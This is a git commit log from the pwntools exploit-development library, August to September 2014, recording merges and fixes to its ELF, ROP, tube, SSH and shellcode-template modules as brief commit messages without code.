IdolfHatler d6a977122d Merge pull request #99 from zachriggle/elf-vaddr-fixup
Fix calculations based on header.p_vaddr
2014-09-10 09:22:32 +02:00
IdolfHatler fe702fc6e3 Merge pull request #98 from zachriggle/elf-bss-default
Default elf.bss argument
2014-09-10 09:21:57 +02:00
IdolfHatler 1aa06f3781 Merge pull request #97 from zachriggle/listen-wait-port-zero-status
Add status message for "listening" to expressly print out port
2014-09-10 09:21:39 +02:00
IdolfHatler 1e947a72c2 Merge pull request #95 from zachriggle/elf-plt-stopgap-fix
ELF PLT Symbol Fix
2014-09-10 09:21:06 +02:00
IdolfHatler 04cabea872 Merge pull request #96 from zachriggle/elf-symbols-got-plt-prefixes
Add plt.XXXX and got.XXXX symbols so that rop.dump() output is better
2014-09-10 09:19:27 +02:00
Zach Riggle c29919560a Merge branch 'elf-vaddr-fixup' 2014-09-10 03:14:03 -04:00
Zach Riggle 19c59a44e7 Fix calculations based on header.p_vaddr 2014-09-10 03:10:49 -04:00
Zach Riggle 5b79e53126 Merge branch 'elf-bss-default' 2014-09-10 02:37:53 -04:00
Zach Riggle 93ad3e7e42 Default elf.bss argument 2014-09-10 02:35:30 -04:00
Zach Riggle 073f925974 Merge branch 'listen-wait-port-zero-status' 2014-09-10 02:26:41 -04:00
Zach Riggle 0ee84aec1e Add status message for "listening" to expressly print out port, which is useful if port was zero 2014-09-10 02:26:18 -04:00
Zach Riggle 68db0532a4 Merge branch 'elf-symbols-got-plt-prefixes' 2014-09-10 02:20:12 -04:00
Zach Riggle 5d150fd930 Add plt.XXXX and got.XXXX symbols so that rop.dump() output is better 2014-09-10 02:18:20 -04:00
Zach Riggle 5742eceab4 Merge branch 'elf-plt-stopgap-fix' 2014-09-10 01:38:15 -04:00
Zach Riggle a9145ad8f7 Rename variables to match BFD 2014-09-10 01:38:04 -04:00
Zach Riggle 17ff609e39 Apply intermediary fix 2014-09-10 00:37:07 -04:00
Robert Larsen ae3bb1fe20 Start from page 0. 2014-09-09 13:33:25 +02:00
Robert Larsen f7a047af68 Made the egghunter work. 2014-09-09 13:07:05 +02:00
Robert Larsen ba053eed81 Improved mov() helper. 2014-09-09 12:53:57 +02:00
Robert Larsen 860668621b Added egghunter for ARM. 2014-09-09 10:40:19 +02:00
Robert Larsen b08f81a788 Added mov() shellcode helper for ARM. 2014-09-09 10:38:11 +02:00
Robert Larsen 5b8375a027 Merge branch 'master' of https://github.com/Gallopsled/pwntools 2014-09-09 10:23:32 +02:00
Zach Riggle aafe85092a Merge branch 'pwnlib-util-web-wget' 2014-09-03 21:46:07 -07:00
Zach Riggle 85d7229691 Add timeout 2014-09-03 21:41:48 -07:00
Zach Riggle e514328d02 add pwnlib.util.web.wget 2014-09-03 21:36:44 -07:00
Zach Riggle f70665546b Merge branch 'master' of https://github.com/pwnies/pwntools 2014-09-03 14:57:43 -07:00
IdolfHatler 09b5b74bd2 Merge pull request #93 from zachriggle/setreXid
Add i386 shellcode for 'setreuid' and 'setregid'
2014-09-01 14:26:40 +02:00
Zach Riggle 723d053a8b Merge branch 'setreXid' 2014-08-31 23:03:19 -07:00
Zach Riggle 06970b082d add shellcodes 2014-08-31 23:02:38 -07:00
Zach Riggle ccbc7b93ec Merge branch 'master' of https://github.com/pwnies/pwntools 2014-08-31 21:53:20 -07:00
Robert Larsen 75917a9a41 Fixed doc. 2014-08-29 10:46:57 +02:00
Robert Larsen e8e8f70f60 Put port into the right register prior to comparison. 2014-08-29 10:41:36 +02:00
Robert Larsen 60d0e82dd3 Fixed dup() shellcode. 2014-08-29 10:16:13 +02:00
Robert Larsen d4fa4f3057 First attempt at findpeer() and findpeersh() shellcode. 2014-08-29 01:02:01 +02:00
IdolfHatler 06a95ddb70 Merge pull request #91 from RobertLarsen/master
Indent correctly for more cases
2014-08-29 00:37:41 +02:00
Robert Larsen 90f92185bc More elegant check for ':'. 2014-08-29 00:19:54 +02:00
Robert Larsen 0350724eb2 '.' and '_' should be considered legal label characters too. 2014-08-29 00:06:49 +02:00
Robert Larsen 63a2fd2bc4 First non whitespace characters in a label is alphanumeric. 2014-08-28 23:48:24 +02:00
Mathias Svensson d1a83f5c92 process.kill() will now actually kill the process 2014-08-28 23:35:42 +02:00
Mathias Svensson 52fe5d6ef7 A few more bugfixes to rop.py 2014-08-28 23:27:18 +02:00
Robert Larsen 54d5e7bdac Handle case with colon inside comment 2014-08-28 23:11:47 +02:00
Robert Larsen 60ed4a3b01 Indent so that shellcrafts prettyfier will work. 2014-08-28 22:31:21 +02:00
Mathias Svensson 54d027ae77 Made rop.search more useful 2014-08-28 22:27:17 +02:00
Mathias Svensson e5037c251d Bugfix: Last-call optimization was broken 2014-08-28 22:26:56 +02:00
Robert Larsen e395284dea Prevent indention for lines starting with a label.
Indent remaining lines by four spaces if they are indented at any level.
2014-08-28 22:22:16 +02:00
Morten Brøns-Pedersen 579ea543df fixed docstring syntax in pwnlib.rop.ROP.__getattr__(). 2014-08-28 21:28:40 +02:00
Morten Brøns-Pedersen 5ffcd945cc fix doctests for pwnlib.rop. 2014-08-28 21:28:40 +02:00
Morten Brøns-Pedersen a059b49a58 suppress output from ropgadget in pwnlib.rop. 2014-08-28 21:28:40 +02:00
Mathias Svensson 0a5d9956ea There should not be any log_level=info in interactive 2014-08-28 21:26:17 +02:00
Mathias Svensson 3d9af2f8f3 Bugfix: recvn was broken 2014-08-28 21:15:06 +02:00
Mathias Svensson b2e15b19b1 Added preliminary changelog 2014-08-28 21:00:07 +02:00
Morten Brøns-Pedersen ab628a3231 addde pwnlib.rop to docs. 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen 033526e044 added docstrings for pwnlib.rop. 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen 50e1b723f2 added docs for pwnlib.replacements. 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen 894fe13d0c updated docstrings in pwnlib.replacements. 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen 4ea339230c added pwnlib.replacements.* to pwn.toplevel 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen d0907f8677 added replacements to __init__.py 2014-08-28 20:54:52 +02:00
Morten Brøns-Pedersen 17135990e5 moved pwnlib.replacements.time.sleep() to pwnlib.replacements.sleep() 2014-08-28 20:54:52 +02:00
Mathias Svensson 2e586d05c6 Removed trailing whitespace 2014-08-28 20:04:51 +02:00
Mathias Svensson a1a0877b8f Removed trailing whitespace 2014-08-28 20:01:00 +02:00
Jonas Rudloff f62ea2d3e6 Merge pull request #88 from RobertLarsen/master
Ported ARM/THUMB shellcode from old pwntools
2014-08-28 19:30:25 +02:00
Morten Brøns-Pedersen 61cdbfcbf1 fixed #90 2014-08-28 19:21:10 +02:00
Morten Brøns-Pedersen 082aab697b updated the README.md 2014-08-28 19:21:10 +02:00
Zach Riggle bafee07292 Merge remote-tracking branch 'origin/elfpatch' 2014-08-28 09:45:24 -07:00
Zach Riggle 10df479581 Merge remote-tracking branch 'origin/elfdiff' 2014-08-28 09:45:20 -07:00
mortenbp d32af7f0c4 Merge pull request #84 from zachriggle/cyclic-find-not-in-alphabeta
Catch invalid characters early in cyclic_find()
2014-08-28 10:37:56 +02:00
Zach Riggle d4ad15cfc9 Merge remote-tracking branch 'upstream/master' 2014-08-27 22:59:27 -07:00
Mathias Svensson f09bf54ab4 Fixed a few bugs in rop.py 2014-08-28 07:51:03 +02:00
Robert Larsen 59968de491 Added dupsh thumb shellcode. 2014-08-28 00:35:38 +02:00
Robert Larsen 05f31950c5 Added dup shellcode for thumb. 2014-08-28 00:33:18 +02:00
Robert Larsen e3907f5dd6 Added thumb shellcode for spawning a shell. 2014-08-27 23:52:55 +02:00
Robert Larsen 70d313cbcc Added thumb shellcode helper for initializing a register. 2014-08-27 23:42:49 +02:00
Robert Larsen ec1452c781 Added shell spawning shellcode for arm. 2014-08-27 22:44:09 +02:00
Robert Larsen 737809b563 Added arm->thumb shellcode. 2014-08-27 22:28:14 +02:00
Robert Larsen 56af2d7cdd Fixed typo in comment 2014-08-27 22:09:10 +02:00
IdolfHatler 99695f3873 Merge pull request #87 from RobertLarsen/master
Made DynELF much more modular and able to solve more tasks
2014-08-27 15:51:10 +02:00
Robert Larsen 80e312144c No test 2014-08-27 12:42:54 +02:00
Robert Larsen 79833088bf Added docstring. 2014-08-27 12:39:29 +02:00
Robert Larsen 8e16f22172 Made dynelf work with new elf implementation. 2014-08-27 11:54:08 +02:00
Morten Brøns-Pedersen 318d01ce51 logging functions now write to sys.stderr if not in term mode 2014-08-27 11:15:28 +02:00
Morten Brøns-Pedersen 2369700409 replace sys.stderr in pwnlib.term.term.init() so exceptions etc. shows right 2014-08-27 11:14:30 +02:00
Morten Brøns-Pedersen 38c560d526 let the terminal wrap lines that are too long. fixes copy'n'pasting of such lines 2014-08-26 16:03:28 +02:00
Zach Riggle 67a544bf5f kill assemblers 2014-08-25 21:06:01 -07:00
Zach Riggle 82cb3f5dfd Add .lhost and .lport for ssh_connector() 2014-08-25 19:34:53 -07:00
mortenbp fc27c74f14 Merge pull request #86 from zachriggle/ssh-listener-broken-typo
acceptor => accepter
2014-08-25 22:36:19 +02:00
Zach Riggle 02e6b3a768 acceptor => accepter 2014-08-25 11:44:13 -07:00
Robert Larsen dfee5a50e5 Made dynelf implementation much cleaner.
Added factory methods for easier instantiation.
2014-08-25 15:31:54 +02:00
Robert Larsen cb81b9dfbf Merge branch 'master' of https://github.com/Gallopsled/pwntools
Conflicts:
	pwn/test/leaky/Makefile
	pwn/test/leaky/resolve.py
	pwnlib/dynelf.py
2014-08-25 15:21:36 +02:00
IdolfHatler 6a05dbd606 Merge pull request #85 from zachriggle/blocking-poll-ssh
Add a blocking variant of poll() and a helper, wait(), to invoke it
2014-08-24 20:02:07 +02:00
Zach Riggle a182d739ee Merge branch 'blocking-poll-ssh' 2014-08-24 09:43:24 -07:00
Zach Riggle d3b5f79362 Add a blocking variant of poll() and a helper, wait(), to invoke it. Replace poll() with wait() where we need the exit status. Without this, the exit code may not be available and file uploads/downloads will "fail" when they really succeeded (but the return value just didn't propagate yet) 2014-08-24 09:41:09 -07:00
Zach Riggle 6dd29547ac Merge branch 'cyclic-find-not-in-alphabeta' 2014-08-23 07:46:25 -07:00
Zach Riggle 25fda64e03 More readable 2014-08-23 06:36:41 -07:00
Zach Riggle b2ad179845 Merge branch 'cyclic-find-not-in-alphabeta' 2014-08-22 20:41:53 -07:00
Zach Riggle dc2dc0b87f Catch invalid characters early in cyclic_find(). Sometimes I forget to u32() the data, and it searches forever for eight bytes of irrelevant data. 2014-08-22 20:10:53 -07:00
Zach Riggle ed77b3b397 Merge remote-tracking branch 'upstream/master' 2014-08-22 14:32:08 -07:00
Morten Brøns-Pedersen 4e8c9a6913 better ascii-art in pwnlib.util.splash.splash(). 2014-08-22 17:46:34 +02:00
Mathias Svensson 5463cdcb31 Made the serialtube a bit better 2014-08-17 20:27:50 +02:00
Mathias Svensson a358bf0b4b Added infloop and nop for ARM 2014-08-17 16:43:05 +02:00
Mathias Svensson e05cd05155 Removed octal constants from header files 2014-08-17 15:58:02 +02:00
Mathias Svensson 495a60c102 Ignore e.g. vim files in the templates directory 2014-08-17 15:54:52 +02:00
Mathias Svensson a35a5a318a Better constant handling for shellcraft 2014-08-17 15:53:36 +02:00
Mathias Svensson cd25505009 Added open_file for ARM 2014-08-17 15:52:45 +02:00
Mathias Svensson c20033e7b4 Added thumb nop and infloop 2014-08-17 15:42:04 +02:00
Mathias Svensson a791f3122a Updated shellcraft to remove all newlines following just after two other newlines 2014-08-17 15:39:18 +02:00
Mathias Svensson c7898a4e48 Added a replacement for time.sleep which does not return on signals 2014-08-17 15:12:36 +02:00
Mathias Svensson b31c527212 Fixed bug in case there was no plt 2014-08-17 15:12:36 +02:00
IdolfHatler c1ebb79ef7 Merge pull request #80 from brifordwylie/small_setup_changes
Small setup changes
2014-08-16 11:36:13 +02:00
Morten Brøns-Pedersen aa67eded8a improved performance of pwnlib.util.fiddling.hexdump_iter(). 2014-08-14 20:47:09 +02:00
Morten Brøns-Pedersen 3678934c86 added argument "--color" to bin/phd. 2014-08-14 20:34:52 +02:00
Morten Brøns-Pedersen 0e9f855133 added property pwnlib.term.text.when which controls when to output control characters. 2014-08-14 20:26:48 +02:00
Morten Brøns-Pedersen a23a608854 bin/phd now handles top-level exceptions KeyboardInterrupt and IOError (which happens when e.g. phd | less). 2014-08-14 19:11:40 +02:00
Morten Brøns-Pedersen 61f6842483 added pwnlib.util.fiddling.hexdump_iter() and made pwnlib.util.fiddling.hexdump() a thin wrapper. bin/phd now uses the iterator variant for better performance. 2014-08-14 18:53:22 +02:00
Morten Brøns-Pedersen b07d337b96 bugfix: bin/phd now offsets addresses by skip. 2014-08-14 18:40:34 +02:00
Morten Brøns-Pedersen 8a5141a52a bugfix: pwnlib.util.fiddling.hexdump() now reports the correct address on the last line. 2014-08-14 18:39:24 +02:00
Morten Brøns-Pedersen bb777b923e added CLI frontend to pwnlib.util.fiddling.hexdump: phd (Pwnlib HexDump). 2014-08-14 04:24:37 +02:00
Morten Brøns-Pedersen 60ddfb3f03 added highlights to pwnlib.util.fiddling.hexdump. 2014-08-14 03:57:13 +02:00
Morten Brøns-Pedersen 196499095b added colors to pwnlib.util.fiddling.hexdump(). 2014-08-14 03:53:06 +02:00
Brian Wylie fa61307a73 add pyserial as a required dependency (at least on MacOSX you need it :) 2014-08-13 13:43:24 -06:00
Brian Wylie 05838c1d2a have requirements.txt just 'call' setup.py install_requires so that you don't have two copies of the python dependencies 2014-08-13 13:42:29 -06:00
Morten Brøns-Pedersen aab7122870 pwn now also looks for environment variables starting with "PWNLIB_"; "PWNLIB_LOG_LEVEL" sets context.log_level. added a new flag "NOTERM". 2014-08-13 17:26:55 +02:00
Morten Brøns-Pedersen 20933e1ac1 removed per tube log levels from pwnlib.tubes.tube as the feature was hardly ever used and not very intuitive. might reintroduce later. 2014-08-13 17:26:55 +02:00
Morten Brøns-Pedersen d53a59b604 bugfix: pwnlib.tubes.tube.recvline() now uses the timeout argument when called with no delims. 2014-08-13 17:26:46 +02:00
Morten Brøns-Pedersen 251eccbc70 added argument keepend(s) to functions in pwnlib.tubes.tube recieving lines. 2014-08-13 17:22:55 +02:00
Morten Brøns-Pedersen c07637d05b rewrote major parts of pwnlib.tubes.tube for hugely increased performance. introduced slight API changes in the process. 2014-08-13 15:05:51 +02:00
Morten Brøns-Pedersen 8996cdf363 fixed a bug where pwnlib.term.term would simetimes throw an exception if there was free space at the bottom of the terminal and the window was resized. 2014-08-13 01:33:40 +02:00
Mathias Svensson 4cf1e55129 Added initial support for serial tubes 2014-08-09 01:31:58 -07:00
IdolfHatler 083b5c854e Merge pull request #79 from zachriggle/elfpatch-correct
elf.asm now uses "org" directive for correct relative jumps
2014-08-08 22:56:24 -07:00
Zach Riggle b95246fc5a elf.asm now uses "org" directive for correct relative jumps 2014-08-08 15:38:05 -07:00
Morten Brøns-Pedersen edc43b0de4 bugfix: pwnlib.gdb.attach() now waits for the debugger 2014-08-08 21:24:51 +02:00
Zach Riggle a346d64d98 elfdiff 2014-08-08 11:09:45 -07:00
Zach Riggle 3956b76144 fix 2014-08-08 10:48:05 -07:00
Zach Riggle 5a5ac38e06 elfpatch 2014-08-08 10:43:00 -07:00
Morten Brøns-Pedersen b74a3ad991 added example showing pwnlib.term.text and updated examples/README.md 2014-08-07 21:15:23 +02:00
Morten Brøns-Pedersen 58c4abae82 bugfix: pwnlib.term.term now handles xterm color definition escapes 2014-08-07 20:45:48 +02:00
Morten Brøns-Pedersen 136694509d bugfix: pwnlib.term.termcap.get() now also works for integer and boolean values 2014-08-07 20:08:33 +02:00
Morten Brøns-Pedersen 743bf4cb38 pwnlib.ui.options(): options too long to fit on a single line are now indented properly 2014-08-07 00:37:57 +02:00
IdolfHatler dcb4435e62 Merge pull request #71 from zachriggle/interactive-working-dir
cd on .interactive() if .set_working_dir() has been called
2014-08-06 13:21:41 -07:00
IdolfHatler 3a0f41493a Merge pull request #75 from zachriggle/patch-2
Bugfix: ssh.run(tuple) => error
2014-08-06 13:21:26 -07:00
IdolfHatler 1b4d1a2cb9 Merge pull request #74 from zachriggle/patch-1
`cyclic` currently broken due to aliased command
2014-08-06 13:21:10 -07:00
Morten Brøns-Pedersen 6a1b1f3bab fixed #76 2014-08-06 19:27:18 +02:00
Morten Brøns-Pedersen b9649ea4dc fixed #73 2014-08-06 11:01:14 +02:00
Morten Brøns-Pedersen d45bfe134a added documentation badges to README.md 2014-08-06 10:57:14 +02:00
Morten Brøns-Pedersen 79dc4d46e6 added badges to README.md and changed the header 2014-08-06 10:41:14 +02:00
Zach Riggle 62686836fd Bugfix: ssh.run(tuple) => error
Otherwise throws this

```py
  File "/home/user/pwntools/pwnlib/tubes/ssh.py", line 17, in __init__
    h = log.waitfor('Opening new channel: %r' % (process or 'shell'), log_level = self.log_level)
TypeError: not all arguments converted during string formatting
```
2014-08-06 04:29:10 -04:00
Zach Riggle 1c9ee40592 cyclic currently broken due to aliased command 2014-08-06 03:07:35 -04:00
Zach Riggle 1875ceea5b Merge remote-tracking branch 'upstream/master' 2014-08-05 20:16:25 -07:00
Mathias Svensson 76d58479fa Merge branch 'master' of github.com:Gallopsled/pwntools 2014-08-05 18:53:55 -07:00
Mathias Svensson 3f2298d2d8 Merge branch 'zachriggle-absolute-rop' 2014-08-05 18:53:22 -07:00
Mathias Svensson 3c6d54affd Merge branch 'absolute-rop' of https://github.com/zachriggle/pwntools into zachriggle-absolute-rop
Conflicts:
	pwnlib/util/packing.py

But also changed the rop.py a lot. I am bad at git, I know. :/
2014-08-05 18:52:21 -07:00
Zach Riggle c74ac96ef6 cd on .interactive() if .set_working_dir() has been called 2014-08-05 17:19:19 -07:00
Zach Riggle 1afd42a32a Merge remote-tracking branch 'upstream/master' 2014-08-05 16:51:59 -07:00
Morten Brøns-Pedersen 90e2b69ac5 example showing pwnlib.ui.options(). 2014-08-06 01:46:57 +02:00
Morten Brøns-Pedersen 7785615055 added bells and whistles to pwnlib.ui.options when in term_mode. 2014-08-06 01:46:10 +02:00
Morten Brøns-Pedersen 856e75d2cc pwnlib.ui.more now just prints the text if not in term_mode. 2014-08-06 01:06:11 +02:00
Morten Brøns-Pedersen 7d98a0a6dd added pwnlib.ui.more. 2014-08-06 01:04:09 +02:00
Morten Brøns-Pedersen d601ccfc64 added links to itertools aliases in pwnlib.util.iters documentation. 2014-08-06 00:04:11 +02:00
Morten Brøns-Pedersen 465b53ee61 fixed doctest setup for pwnlib.util.iters. 2014-08-05 23:44:12 +02:00
Morten Brøns-Pedersen c828fd05ae added module pwnlib.useragents. 2014-08-05 23:31:33 +02:00
Morten Brøns-Pedersen ba68548e02 added __all__ to pwnlib.util.iters. 2014-08-05 19:14:55 +02:00
Morten Brøns-Pedersen 6e06b0e808 added "iters" to pwnlib.util.__all__. 2014-08-05 18:28:58 +02:00
Morten Brøns-Pedersen c6b2015158 added support for status updates to pwnlib.log.waitfor() when not in term_mode 2014-08-05 09:33:49 +02:00
Morten Brøns-Pedersen 9548fa6b69 added pwnlib.util.iters to pwn toplevel 2014-08-05 09:33:49 +02:00
Morten Brøns-Pedersen 9d79323df9 ported iterutil from old pwnlib to pwnlib.util.iters. 2014-08-05 09:33:49 +02:00
Mathias Svensson d3fc464eaf Added the method spawn_process for tubes, which will spawn a process communicating on that tube 2014-08-04 23:54:15 -07:00
Mathias Svensson c45edb3419 I cannot see any reason not to use ebp in pivots 2014-08-04 23:23:25 -07:00
Mathias Svensson 41d6b8542d Added the possibility for preprocessing to flat 2014-08-04 22:52:40 -07:00
Mathias Svensson 9351ed93c7 Missed one 2014-08-04 22:51:58 -07:00
Mathias Svensson 1f71e690e5 Removed slow tests 2014-08-04 22:48:41 -07:00
Mathias Svensson 1b3d426377 Does the same transformation for connected as was done for shutdown 2014-08-04 22:18:06 -07:00
Mathias Svensson fd72c895af Make pack support unicode 2014-08-04 22:06:53 -07:00
Mathias Svensson 124a473432 Make run_in_new_terminal less noisy 2014-08-04 22:06:19 -07:00
Mathias Svensson b615ba58d0 ECONNRESET should be translated into EOFError 2014-08-04 22:05:46 -07:00
Mathias Svensson b5d12f680f Added cwd argument to process 2014-08-04 19:35:35 -07:00
Morten Brøns-Pedersen 86773a5a4a pwnlib.tubes.tube.shutdown() now accepts "in", "out", "recv", "send", "read" and "write"; subclasses should now implement shutdown_raw(). 2014-08-05 04:24:33 +02:00
Morten Brøns-Pedersen 3ed230d410 changed pwnlib.util.safeeval.expr_eval/const_eval to pwnlib.util.safeeval.exrp/const. 2014-08-05 04:24:33 +02:00
Morten Brøns-Pedersen a5d62b8e2e added modules collections and operator to pwn.toplevel. 2014-08-05 04:24:33 +02:00
Zach Riggle 5a95e8e9d2 Implement absolute ROP loading given a static base address 2014-08-04 19:23:05 -07:00
IdolfHatler b90e6cdc3d Merge pull request #67 from zachriggle/elf-bss
Add pwnlib.elf.ELF.bss()
2014-08-04 19:08:51 -07:00
Mathias Svensson d970304bd2 We now support interactive outside term mode 2014-08-04 19:01:43 -07:00
Zach Riggle d534a3a929 Add pwnlib.elf.ELF.bss() 2014-08-04 19:01:26 -07:00
Mathias Svensson 3e01b5ab97 Fixed bug in run_in_new_terminal and removed tabs 2014-08-04 18:27:06 -07:00
Mathias Svensson 485005cab8 Support using a string as an argument to ROP 2014-08-04 18:14:44 -07:00
Morten Brøns-Pedersen 25060ef502 set context.log_level to "silent" when running doctests 2014-08-05 02:08:25 +02:00
IdolfHatler 11e2b3a677 Merge pull request #62 from zachriggle/gdb-resolve-library-addresses
GDB resolution for modules
2014-08-04 16:46:22 -07:00
Zach Riggle 6898eae383 Merge branch 'elf-fix-offsets-after-addr-change' 2014-08-04 16:23:29 -07:00
Zach Riggle 3097a60433 Merge branch 'gdb-resolve-library-addresses' 2014-08-04 16:21:47 -07:00
Zach Riggle e61812d7aa Clarify docs 2014-08-04 16:21:04 -07:00
Zach Riggle 215c42b2c5 Example, doctest works 2014-08-04 16:18:35 -07:00
Mathias Svensson d51e71f738 Merge branch 'zachriggle-elf-fix-offsets-after-addr-change' 2014-08-04 16:05:32 -07:00
Mathias Svensson 4a28bd824f Removed some debugging code 2014-08-04 16:05:23 -07:00
Mathias Svensson cb52da39b8 Merge branch 'elf-fix-offsets-after-addr-change' of https://github.com/zachriggle/pwntools into zachriggle-elf-fix-offsets-after-addr-change 2014-08-04 16:04:51 -07:00
Zach Riggle 81500b5a6e Merge remote-tracking branch 'upstream/master' 2014-08-04 16:00:00 -07:00
Zach Riggle a492a5a5c9 Fix docs 2014-08-04 15:57:50 -07:00
Mathias Svensson 8ffef8af9f Merge branch 'zachriggle-rop-easy' 2014-08-04 15:52:41 -07:00
Mathias Svensson 20b1b90987 Added docstring 2014-08-04 15:52:21 -07:00
Mathias Svensson 937ab31947 Merge branch 'rop-easy' of https://github.com/zachriggle/pwntools into zachriggle-rop-easy 2014-08-04 15:50:29 -07:00
Zach Riggle 488e4b8d11 flush = chain(); clear(); 2014-08-04 15:49:55 -07:00
Zach Riggle baf5b68cf4 Implement shorthand for rop.call(); add .flush(); remove arg to .chain() 2014-08-04 15:47:11 -07:00
Zach Riggle 4ae64db213 Fix vaddr_to_offset and offset_to_vaddr after the base address changes 2014-08-04 15:36:03 -07:00
Mathias Svensson 3b69b293cd Moved re import 2014-08-04 13:37:55 -07:00
Zach Riggle d168eaed40 Merge branch 'rop-easy' 2014-08-04 12:36:38 -07:00
Zach Riggle d0c71bd6e9 Slight syntax enhancement 2014-08-04 12:36:23 -07:00
Zach Riggle 43971132b1 Merge remote-tracking branch 'upstream/master'
Conflicts:
	pwnlib/elf.py
2014-08-04 12:34:36 -07:00
Zach Riggle 4751e8e473 easy rop gadget notation 2014-08-04 12:24:49 -07:00
Morten Brøns-Pedersen 4b7c13e873 updated example docstrings and README.md 2014-08-04 20:01:22 +02:00
Morten Brøns-Pedersen e53af0657f added script to generate examples/README.md and the new README.md 2014-08-04 19:56:01 +02:00
Mathias Svensson ab33cbe4c0 Merge branch 'zachriggle-elf-dont-load-dyn-dependencies' 2014-08-04 09:22:22 -07:00
Mathias Svensson 76817799fd Replaced a generic "except:" in elf.py with a catching a specific exception 2014-08-04 09:22:15 -07:00
Mathias Svensson 9d7858ad7d Merge branch 'elf-dont-load-dyn-dependencies' of https://github.com/zachriggle/pwntools into zachriggle-elf-dont-load-dyn-dependencies 2014-08-04 09:18:16 -07:00
Morten Brøns-Pedersen 90e7da6d31 fixed #60 -- this would not (could not) have happened in a statically typed language 2014-08-04 18:03:00 +02:00
Mathias Svensson f1d38959ca Merge branch 'master' of github.com:Gallopsled/pwntools
Conflicts:
	pwnlib/elf.py
2014-08-04 08:49:04 -07:00
Mathias Svensson e255e92dcf Merge branch 'zachriggle-v2-rop' 2014-08-04 08:47:16 -07:00
Mathias Svensson 149fc79f41 Fixed up the rop commit a bit 2014-08-04 08:47:05 -07:00
Mathias Svensson 846822b424 Merge branch 'v2-rop' of https://github.com/zachriggle/pwntools into zachriggle-v2-rop 2014-08-04 07:45:55 -07:00
IdolfHatler b0debef19d Merge pull request #61 from zachriggle/elf-dso-address-fix
Bugfix: ELF load address for DSO is 0, libc addresses now correct
2014-08-04 07:19:54 -07:00
Zach Riggle f18bca5112 Merge branch 'gdb-resolve-library-addresses' 2014-08-04 07:17:38 -07:00
IdolfHatler 107806f13a Merge pull request #58 from zachriggle/ssh-easy-bad-attrs
Filter a few things which should not spawn SSH commands
2014-08-04 07:17:19 -07:00
Zach Riggle 31330a653b Permit local running of gdb(), better support for ulimit, no reliance on "start" command in GDB or symbols 2014-08-04 07:17:11 -07:00
Mathias Svensson 0a2e37e3c6 Merge branch 'zachriggle-ssh-channel-with-statement' 2014-08-04 07:16:20 -07:00
Mathias Svensson e3fd4ceea7 Fixed the placement of the __enter__ and __exit__ functions in pwnlib/tubes/tube.py 2014-08-04 07:16:11 -07:00
Mathias Svensson a67b47a49e Merge branch 'ssh-channel-with-statement' of https://github.com/zachriggle/pwntools into zachriggle-ssh-channel-with-statement 2014-08-04 07:15:08 -07:00
Zach Riggle d92ce7ff2c Merge branch 'elf-dont-load-dyn-dependencies' 2014-08-04 07:14:09 -07:00
Mathias Svensson cc2540d72f Merge branch 'zachriggle-less-silent-ssh' 2014-08-04 07:13:54 -07:00
Mathias Svensson 5af54ddb9f The log_level argument was not needed here 2014-08-04 07:13:45 -07:00
Zach Riggle ca8b62414d Better fallback 2014-08-04 07:13:08 -07:00
Mathias Svensson 7dbdcd538d Merge branch 'less-silent-ssh' of https://github.com/zachriggle/pwntools into zachriggle-less-silent-ssh 2014-08-04 07:12:44 -07:00
IdolfHatler 1974282888 Merge pull request #56 from zachriggle/elf-disasm-vma
Add --vma-offset to asm.disasm() and ELF.disasm() helper to automate
2014-08-04 07:10:41 -07:00
IdolfHatler 33c48e54eb Merge pull request #63 from zachriggle/freebsd-ssh-cache
FreeBSD hash utility is called shasum
2014-08-04 07:08:17 -07:00
Zach Riggle c110726e43 Merge branch 'ssh-easy-bad-attrs' 2014-08-04 07:03:28 -07:00
Zach Riggle e46c9db477 Blacklist anything that starts with a _ 2014-08-04 07:01:59 -07:00
Zach Riggle c71a7436d2 Merge branch 'elf-repr'
Conflicts:
	pwnlib/elf.py
2014-08-04 06:49:27 -07:00
Zach Riggle be283273b0 Merge branch 'v2-rop' 2014-08-04 06:47:54 -07:00
Zach Riggle b3b9117cdb ROP repr 2014-08-04 06:45:59 -07:00
Zach Riggle ed85b85692 Make ELF repr meaningful for working in REPL 2014-08-04 06:42:38 -07:00
Zach Riggle 34d4a71235 Merge branch 'freebsd-ssh-cache' 2014-08-04 06:36:36 -07:00
Zach Riggle f952e9dd0f FreeBSD .so are not recognized as shared objects, so ldd throws an error. Since there's not really a need to check the dependencies of an .so (use-case is we loaded all the deps from an exe via ldd), don't do it. 2014-08-04 06:32:45 -07:00
Zach Riggle 03d42522a6 FreeBSD hash utility is called shasum. Others exist, but they dont put the hash first. 2014-08-04 06:29:54 -07:00
Zach Riggle accfe828c7 Merge branch 'gdb-resolve-library-addresses' 2014-08-04 05:49:00 -07:00
Zach Riggle b63794599f Merge branch 'ssh-channel-with-statement' 2014-08-04 05:48:54 -07:00
Zach Riggle 8565d0ff71 Move __enter__ and __exit__ to tubes.tube so it's available globally 2014-08-04 05:46:55 -07:00
Zach Riggle 666ef2ed62 GDB resolution for modules 2014-08-04 05:40:47 -07:00
Zach Riggle 1551706362 Merge branch 'elf-dso-address-fix'
Conflicts:
	pwnlib/elf.py
2014-08-04 04:30:23 -07:00
Zach Riggle 0e2f28892c Merge branch 'v2-rop' 2014-08-04 04:29:47 -07:00
Zach Riggle efb4be6c56 Bugfix: ELF load address for DSO is 0, libc addresses now correct 2014-08-04 04:28:29 -07:00
Zach Riggle 455e15d648 Bugfix: Permit both int and long 2014-08-04 04:26:12 -07:00
Zach Riggle 6f888bfe8a Merge branch 'v2-rop' 2014-08-04 03:24:22 -07:00
Zach Riggle b6272a809b Cache ROP gadgets for speed. Parsing libc is really slow. 2014-08-04 03:06:51 -07:00
Zach Riggle 705ca87d47 Merge branch 'v2-rop' 2014-08-04 02:49:06 -07:00
Zach Riggle 06a14cfdef Merge branch 'elf-disasm-vma' 2014-08-04 02:49:01 -07:00
Zach Riggle 3217ff98c9 Merge branch 'less-silent-ssh' 2014-08-04 02:48:54 -07:00
Zach Riggle 0b26375619 Merge branch 'ssh-easy-bad-attrs' 2014-08-04 02:48:48 -07:00
Zach Riggle 4a13eb03fc Merge branch 'ssh-channel-with-statement' 2014-08-04 02:48:39 -07:00
Zach Riggle 5220490f8d Allow "with" on ssh_channel/ssh.run 2014-08-04 02:10:46 -07:00
